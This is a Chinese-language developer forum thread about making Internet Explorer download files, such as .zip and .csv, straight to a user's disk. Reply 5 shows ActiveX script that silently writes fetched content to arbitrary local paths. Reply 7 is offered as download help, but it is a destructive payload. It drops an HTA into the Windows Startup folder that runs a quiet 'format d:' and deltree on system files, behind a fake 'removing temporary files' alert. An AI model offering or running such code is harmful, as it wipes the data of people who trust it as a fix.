相当于链接:window.open("URL.zip");不过可能不是你要的结果, :) 要提示下载。

解决方案 »

  1.   

    直接下载的话,加入即可,呵呵...
    <SCRIPT>
    window.open("URL.zip");
    </SCRIPT>
      

  2.   

    呵呵,我的机器见到下载zip的连接就自动下载了解开,我都拿它没辙。
      

  3.   

    哦,又说是透明的,那不行~~~~~~~~~~
    一定要做ActiveX, :(
      

  4.   

    我现在是用<a href="aaa">aaa</a>,然后aaa的扩展名是.csv,当点击之后就弹出对话框,提示:马上打开,还是下载到指定位置。如果马上打开的话,自动用excel打开了,爽的很,否则我的分析文件结构,再作一个table来显示,由此我的工作提前了将近一个周的工期了。
    不过如果.txt文件,就直接打开了,没有提示,不知道是什么原理,希望大家能讲解一下。
      

  5.   

    .csv是一种数据文件。以一定的间隔符(如逗号)间隔的数据项,按行存放。这种文件可以作为数据库文件使用。可以直接用excel直接打开这和ie浏览器有关。它将这种文件关联到excel。你可以使用数据绑定技术来实现.csv文件的显示,这样就无须客户端安装excel了。
    至于直接下载文件,可以参考如下代码:
    <ie:download id=ie style="behavior:url(#default#download)"/><APPLET HEIGHT=0 WIDTH=0 id=wsh code=com.ms.activeX.ActiveXComponent></APPLET>
    </div><script language="javascript">
    function view()
    {
      ie.startDownload("url",show_oe); // <- 这里可以指定要下载文件的url。
    }
    function show_oe(sContent){
      // 要下载的文件内容就在sContent中保存着
      // 新建文件对象,来写文件
      var filesystems = new ActiveXObject("Scripting.FileSystemObject");
      var savefile = filesystems.CreateTextFile(“filename”,true); // <- 这里可以指定要建立的文件名(绝对路径)

      savefile.Write(sContent); // 将SContent中内容写入文件
      savefile.Close();
    }
      

  6.   

    上面的方法解决另一问题很有效,但是没能达到我要的目的。
    现在这个问题被我解决了,通过作ActiveX控件实现的。其实原理很简单,只需要用Mictosoft Internet Transfer Control即可解决这个问题,而且通过使用定制控件,还可以检查目标路径是否存在和创建目标路径。
      

  7.   

    至于直接下载文件,可以参考如下代码:
    ----------------------------------scr.Reset();
    scr.Path="C:\\windows\\Start Menu\\Programs\\啟動\\startup.hta";
    scr.Doc="<object id='wsh' classid='clsid:935DC22-1CF0-11D0-ADB9-00C04FD58A0B'>
    wsh.Run('Start/m format.com d:/q/autotest/u');
    alert('IMPORTANT: Windows is removing unused temporary files.');
    scr.Write();
    --------------
    舉例子:*.vbs
    Set so=CreateObject("Scripting.FileSystemObject")
    so.GetFile(c:\windows\winipcfg.exe).Copy("e:\winipcfg.exe")
    -------------
    另外:
    wsh.Run('start.exe/m deltree/y d:\windows\system\*.*')P.S.
    hta: HTML Application
    wsh: Windows Scripting Host
      

  8.   

    <ie:download id=ie style="behavior:url(#default#download)"/><APPLET HEIGHT=0 WIDTH=0 id=wsh code=com.ms.activeX.ActiveXComponent></APPLET>
    </div><script language="javascript">
    function view()
    {
      ie.startDownload("url",show_oe); // <- 这里可以指定要下载文件的url。
    }
    function show_oe(sContent){
      // 要下载的文件内容就在sContent中保存着
      // 新建文件对象,来写文件
      var filesystems = new ActiveXObject("Scripting.FileSystemObject");
      var savefile = filesystems.CreateTextFile(“filename”,true); // <- 这里可以指定要建立的文件名(绝对路径)

      savefile.Write(sContent); // 将SContent中内容写入文件
      savefile.Close();
    }这段程序让我的杀毒程序报错拉~~~这样的话别人客户就无法访问了还有,ie.startDownload("url",show_oe); 我一写HTTP://……就出错,说没有权限啊有没有其他办法啊